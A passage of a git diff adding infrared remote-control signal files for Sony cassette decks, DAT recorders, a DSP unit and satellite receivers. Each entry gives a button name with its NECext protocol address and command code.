+type: parsed +protocol: NECext +address: 51 00 00 00 +command: 33 00 00 00 +# +name: SEARCH_>> +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 34 00 00 00 +# +name: >>_SCAN +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 34 00 00 00 +# +name: SHUFFLE_PLAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 35 00 00 00 +# +name: SHUFFLE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 35 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 39 00 00 00 +# +name: MUSIC_SCAN +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3C 00 00 00 +# +name: DISK_SKIP_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3D 00 00 00 +# +name: DISC_- +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3D 00 00 00 +# +name: DISK_SKIP_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3E 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3E 00 00 00 +# +name: HIGH-LIGHT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3F 00 00 00 +# +name: EXTRA +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 3F 00 00 00 +# +name: DISC/CAPS +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4A 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4A 00 00 00 +# +name: TRACK +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4B 00 00 00 +# +name: GROUP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 4C 00 00 00 +# +name: FADER/DEL +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 5F 00 00 00 +# +name: MEMO_INPUT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 69 00 00 00 +# +name: MEMO_SCAN +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 6B 00 00 00 +# +name: MEGA_NO_DELAY +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 6E 00 00 00 +# +name: MEGA_CONTROL +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 6F 00 00 00 +# +name: MEGA_X-FADE +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 79 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 7A 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 7B 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 7C 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 51 00 00 00 +command: 7D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir new file mode 100644 index 000000000..96298aab3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/14,-1.ir @@ -0,0 +1,74 @@ +Filetype: IR signals file +Version: 1 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0E 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 0F 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 19 00 00 00 +# +name: >_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1A 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1B 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1E 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 1F 00 00 00 +# +name: <_PLAY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 20 00 00 00 +# +name: COUNTER_MEMORY +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 4E 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 0E 00 00 00 +command: 50 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir new file mode 100644 index 000000000..be1ae02f3 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/Cassette Tape/16,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: >_PLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 32 00 00 00 +# +name: <<_REWIND +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 33 00 00 00 +# +name: >>_FAST_FORWARD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 34 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 36 00 00 00 +# +name: <_PLAY +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 37 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 39 00 00 00 +# +name: REC_MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir new file mode 100644 index 000000000..9b642ea4c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DAT/28,-1.ir @@ -0,0 +1,182 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 14 00 00 00 +# +name: RMS_ENTER +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1B 00 00 00 +# +name: RMS_CHECK +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1D 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 1E 00 00 00 +# +name: OPEN/CLOSE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 20 00 00 00 +# +name: COUNTER_MODE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 21 00 00 00 +# +name: COUNTER_RESET +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 22 00 00 00 +# +name: DATE_PRESENT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 29 00 00 00 +# +name: DATE_RECORDED +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2A 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 2F 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 36 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 38 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 39 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3A 00 00 00 +# +name: REWIND_<< +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3B 00 00 00 +# +name: FAST_FORWARD_>> +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3C 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 3D 00 00 00 +# +name: AMS_PREVIOUS +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 68 00 00 00 +# +name: AMS_NEXT +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 69 00 00 00 +# +name: M._SCAN +type: parsed +protocol: NECext +address: 1C 00 00 00 +command: 6C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir new file mode 100644 index 000000000..ac8a1fa3a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSP/26,233.ir @@ -0,0 +1,170 @@ +Filetype: IR signals file +Version: 1 +# +name: INPUT_RIGHT +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 0A 00 00 00 +# +name: INPUT_LEFT +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 0B 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 0C 00 00 00 +# +name: MASTER_VOL_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 12 00 00 00 +# +name: MASTER_VOL_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 14 00 00 00 +# +name: REAR_BAL_L +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 26 00 00 00 +# +name: REAR_BAL_R +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 27 00 00 00 +# +name: BYPASS +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 32 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 38 00 00 00 +# +name: DOLBY_SURR +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 3D 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 3E 00 00 00 +# +name: EFFECT_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 42 00 00 00 +# +name: EFFECT_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 43 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4A 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4B 00 00 00 +# +name: FRONT_BAL_L +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4C 00 00 00 +# +name: FRONT_BAL_R +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4D 00 00 00 +# +name: REAR_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4E 00 00 00 +# +name: REAR_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 4F 00 00 00 +# +name: CENTER_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 54 00 00 00 +# +name: CENTER_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 55 00 00 00 +# +name: SUB_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 56 00 00 00 +# +name: SUB_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 57 00 00 00 +# +name: MENU_SELECT_+ +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 78 00 00 00 +# +name: MENU_SELECT_- +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 79 00 00 00 +# +name: MENU_SELECT_UP +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 7A 00 00 00 +# +name: MENU_SELECT_DWN +type: parsed +protocol: NECext +address: 1A E9 00 00 +command: 7B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir new file mode 100644 index 000000000..1b472257c --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/1,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: VOL- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 25 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 36 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 60 00 00 00 +# +name: PIC_MODE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 64 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir new file mode 100644 index 000000000..7e0d1a116 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/11,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VTR +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 2A 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir new file mode 100644 index 000000000..94d0b8d2b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/183,-1.ir @@ -0,0 +1,650 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: ENTER/JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0B 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 0F 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 15 00 00 00 +# +name: ALTERNATE_AUDIO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 17 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 18 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 19 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1A 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1B 00 00 00 +# +name: RR +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1B 00 00 00 +# +name: FORWARD +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1C 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1C 00 00 00 +# +name: REC_ON/OFF +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1D 00 00 00 +# +name: REC +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 1D 00 00 00 +# +name: LIST +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 20 00 00 00 +# +name: SLOW_FWD +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 23 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 23 00 00 00 +# +name: ADVANCE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 27 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 27 00 00 00 +# +name: WINDOW +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 28 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 29 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2A 00 00 00 +# +name: MY_SHOWS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2B 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2C 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2E 00 00 00 +# +name: PWR_ON +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 2F 00 00 00 +# +name: OUTPUT_CONTROL +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 32 00 00 00 +# +name: OUTPUT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 32 00 00 00 +# +name: +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 32 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 32 00 00 00 +# +name: SIGNAL +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 35 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3A 00 00 00 +# +name: CC +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3B 00 00 00 +# +name: CLOSED_CAPTION +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3B 00 00 00 +# +name: WIDE_MODE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3D 00 00 00 +# +name: INDEX +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 3F 00 00 00 +# +name: PIP_(ON) +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 40 00 00 00 +# +name: PIP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 40 00 00 00 +# +name: PIP-CH+ +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 41 00 00 00 +# +name: PIP-CH-- +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 42 00 00 00 +# +name: PIP-SWAP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 43 00 00 00 +# +name: CATEGORY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 44 00 00 00 +# +name: CATAGORY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 44 00 00 00 +# +name: PIP-POSITION +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 46 00 00 00 +# +name: PIP-AUDIO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 47 00 00 00 +# +name: PIP-OFF +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 48 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4A 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4A 00 00 00 +# +name: * +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4A 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4A 00 00 00 +# +name: RECENT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4B 00 00 00 +# +name: BACK +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 4C 00 00 00 +# +name: SCROLL_> +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 58 00 00 00 +# +name: SCROLL< +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 59 00 00 00 +# +name: REPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 5B 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 5C 00 00 00 +# +name: TV/WEB +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 5C 00 00 00 +# +name: I(INTERACTIVE) +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 60 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 61 00 00 00 +# +name: HOME +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 62 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: LIVE_TV +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 63 00 00 00 +# +name: TIVO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 64 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 68 00 00 00 +# +name: TV/DSS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 69 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 69 00 00 00 +# +name: TV/DSS_-_SELECT_DSS +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6A 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6A 00 00 00 +# +name: TV/DSS_-_SELECT_TV +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6B 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6B 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6C 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6E 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6F 00 00 00 +# +name: FAVORITES +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 6F 00 00 00 +# +name: THUMBS_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 70 00 00 00 +# +name: THUMBS_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 71 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_UO +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 72 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 73 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 75 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 +# +name: ENT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 +# +name: CURSOR_CLICK +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 +# +name: CURSOR_SELECT +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: B7 00 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir new file mode 100644 index 000000000..84a684631 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/23,133.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 01 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 03 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 05 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 08 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 09 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 10 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 10 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 11 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 15 00 00 00 +# +name: SEARCH +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 29 00 00 00 +# +name: FORMAT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 32 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 38 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 3A 00 00 00 +# +name: SCREEN_MODE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 3D 00 00 00 +# +name: DOT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 4A 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 4A 00 00 00 +# +name: INTERACTIVE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 60 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 63 00 00 00 +# +name: TV/SAT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 69 00 00 00 +# +name: JUMP +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 6C 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 6E 00 00 00 +# +name: FAVORITE +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 6F 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 72 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 73 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 74 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 75 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 76 00 00 00 +# +name: CUSOR_SELECT +type: parsed +protocol: NECext +address: 17 85 00 00 +command: 76 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir new file mode 100644 index 000000000..8279754fb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/3,-1.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 03 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir new file mode 100644 index 000000000..89eefad41 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/5,1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TV/VIDEO +type: parsed +protocol: NECext +address: 05 01 00 00 +command: 0D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Sony/DSS/64,-1.ir new file mode 100644 index 000000000..2f89fe257 --- /dev/null +++ 